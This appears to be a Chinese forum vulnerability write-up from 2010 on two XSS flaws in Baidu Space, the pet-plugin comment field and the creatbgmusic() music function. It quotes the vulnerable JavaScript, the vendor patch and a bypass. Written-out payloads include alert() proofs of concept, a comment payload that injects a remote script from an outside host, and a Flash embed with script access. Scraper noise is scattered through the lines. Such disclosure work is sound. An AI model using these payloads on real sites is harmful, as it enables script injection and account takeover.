百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
& T+ r& h9 {6 x% J
}( b2 |# U6 R1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
! m) [: K; \, }2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ) G* o8 `+ g. d
6 [/ J4 |* w0 k. C1 v6 V: i9 }
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 0 ?# W2 W J% h- n
其中BdUtil.insertWBR为
) |& t& _2 y1 ~2 @ pfunction(text, step) { 8 E) A) D. z. o
var textarea = textAreaCache || getContainer();
- c( d2 K( j, H* r1 ~% U if (!textarea) { 7 E3 c7 K+ S. x3 E+ `, b3 t- {
return text;
7 v4 E0 b" I% w& ] } ' t' e6 A8 ~& H) Y! E; U4 ?
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); + v" M5 ^) x$ T u
var string = textarea.value; / G% }5 G8 X/ T7 u9 B. x
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 4 Y, ]& m; V& c5 L$ q* M* D
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); ' |( n( ~/ o8 I5 {8 V
return result;
3 u2 v% Q/ h1 p4 g! E& v}
( E- g# v" ?* U在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 3 M7 H- k: L6 O) ?# f) f8 @
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ! d6 A+ }0 x, d. K( s
4 ~3 [- n; W, i: y. D3 T7 J
二:creatbgmusic() Dom-Xss Bug ( u0 I, K0 k/ T8 x
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 ) M; V9 P3 D8 Q# ?- w) }. A2 d
9 R5 i. V8 Y3 e5 `! f
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: : _( ?* r1 y* e& G: g, J) v- n$ k4 R
0 J$ r* o+ W; D3 p/ gfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 0 L" c1 t% D" M0 P/ O- K& i9 B
//传入的murl赋值到bgmusic1和bgmusic2中
- f8 ` i& Y; k" M* _1 l4 I) T //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 # u* ]' T6 M5 M) u! @! B
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; ! ]' g' H7 l" L" v) j
if (musicnum <= 1) {
! m' n1 I5 h( Z bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
5 j1 |, k8 q5 W8 e1 M } + k7 Q' e; r; d8 i$ J
bgmusic1 += "</OBJECT>"; 2 q) I k- X: v
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
" X! \3 k; R/ P) ` if (musicnum <= 1) { 4 }0 B7 W0 e3 _: H1 ?% ^ c% i
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ' z/ I, N6 i7 p: D2 r, g* e- V
}
4 i+ d+ f0 L! A( x. d* W bgmusic2 += "> </EMBED>"; " t0 W6 y& O0 }2 [- ?% j6 B
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; & L3 ~- r$ E7 G# S. T0 i
var bgmus = detectWMP(); ( w# _1 V3 u! v
if (functype == "FckMusicHelper") {
4 {0 V$ b& C; _ if (bgmus.installed) {
7 p+ k' {5 S* p- t. E6 l if (bgmus.type == "IE") { * F) Q3 P, j% `- G4 A0 A- A' L
return bgmusic1; 9 J3 a, q, e. y* W: G9 U
} else if (bgmus.type == "NS") { 1 N* s+ O0 }5 z K+ h+ \; K A8 |- `
return bgmusic2; / M" }6 M) Z+ ]8 d6 C5 N
}
/ D4 J6 B) c2 M% a } else { - u7 V4 S0 |9 s" @, l
return bgmusic3;
" T3 B: v) _- ? R+ u | } 6 D* y/ n- ^! O& T
} else { , Z5 t& A2 O. }' h0 N
if (bgmus.installed) {
( e. g0 X, o. T0 D7 W# G //document.write 直接输出bgmusic变量 导致xss ; [% C2 V+ M9 [0 B5 h: A
if (bgmus.type == "IE") { 0 W$ A. |, S e4 N* W3 s( Y, D- w4 B6 |
document.write(bgmusic1);
7 i4 e E* D) B' K, ~" n% b } else if (bgmus.type == "NS") {
! W7 K r) ^: ~) y4 v* k document.write(bgmusic2); / o0 U5 ~2 D/ P# L& [" G
}
1 P7 ~. Z R) O+ ~ } else {
6 c( Z) _1 X6 s1 z- ]4 I. ? document.write(bgmusic3);
% F; ~9 ^1 ~) h( ]0 G6 P' ] } , a2 T( q' }$ b0 H" r
return ""; ) i0 a/ w" V3 F% i4 q
} / n" i T5 g2 f3 ]5 P
}
b0 h! G4 H+ {0 V* ?
, u( c; G) H1 Q/ X: ~3 a4 h2 W在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 1 Y$ L% n1 t/ p3 z" j' n
, j3 d, [. }* j: l! \. L1 O/ E7 s7 ~function initBlogTextForFCK(){ 3 A# {$ U" c% K, {
//fck init music
9 l* k5 p3 Q2 f/ H2 nif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 0 Q- @$ J' P: p, b9 q: {" B, t
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 / y f- a3 x' B6 v# U
var isAutoPlay=true;
( j7 O R. Q8 w$ l/ F3 \3 rfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
8 y1 S! _* V- R) y1 @" ]6 Q1 H' B var img=imgBox; 1 M3 u/ ]8 u0 j7 t1 J# ~8 x
if(img.getAttribute(’rel’)){ 0 z& [. M5 t6 M5 x: m
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc + D6 c( h3 [' d5 u5 `* u: \
var musicDiv = document.createElement("SPAN"); ! g7 J. x) \. C. u$ I, `, p- U
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
! C8 Y. m2 ^" q, v 3 w* w. i3 I1 y7 Q' @' ]
..........................
6 ^2 ?, J0 @, i1 s( Q, s, V
* ]! ^' o0 x; i. C7 E; @ //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 4 t$ q$ n6 ~- |0 d' A
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 6 L N7 R0 I: `7 S# ?
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); - _$ W1 l9 t: i% T0 ]+ ^0 L4 r
musicDiv.innerHTML=shtml; 9 z" ?2 z* G0 Q- C, B
i--;n--; / H% N, V4 y, x! B
}
4 u1 I. z; n7 U! M} 4 ^5 c% I6 L1 d' ?
8 k" u" T+ R9 d2 \* K8 s从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. $ J2 l) I4 S$ M5 a, Q( T
* I, J' ?, W/ I- c+ g9 }
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> , }2 [0 F- U7 v
5 e' U1 ~1 t3 x等待官方补丁 5 ?# S; p, U) N; {$ J
5 V' Q6 m5 g8 w$ ?
update 2010年5月13日
' d: z% h: b R6 s, o6 z3 S
3 R1 Y! N. i I6 [; T( ?官方补丁:
. n/ H1 j I, m# E
, Z" m8 f* x( ~; G8 F* ]var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
) J2 o) f2 m0 a; B3 \3 d. \8 {改为: " P* O: d1 J. p( S5 P% E. q+ c
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
. Z+ {. x5 m7 p: q8 P
3 m. u7 o$ G9 P- |- tupdate 2010年5月13日 21:50:37 6 p# f1 n% _+ C+ G0 M. D
3 s. F* L, X- X. E% w/ p' \# n) C: H
补丁存在漏洞 没有过滤" 可以继续跨: 7 u( }- Y- k$ D
/ n' I3 Y1 @- O3 C
NEW POC: $ Q6 j F0 @+ } ~7 [4 i
, _; G1 X: N% I" n1 ~
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
}; ?) {9 V7 D. V" g3 {- @" ~' n9 ?* ]0 y O3 j- T1 Z' o
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
: O8 c0 \$ E+ j' N! b
4 ~5 T% c: R J% u* t/ G |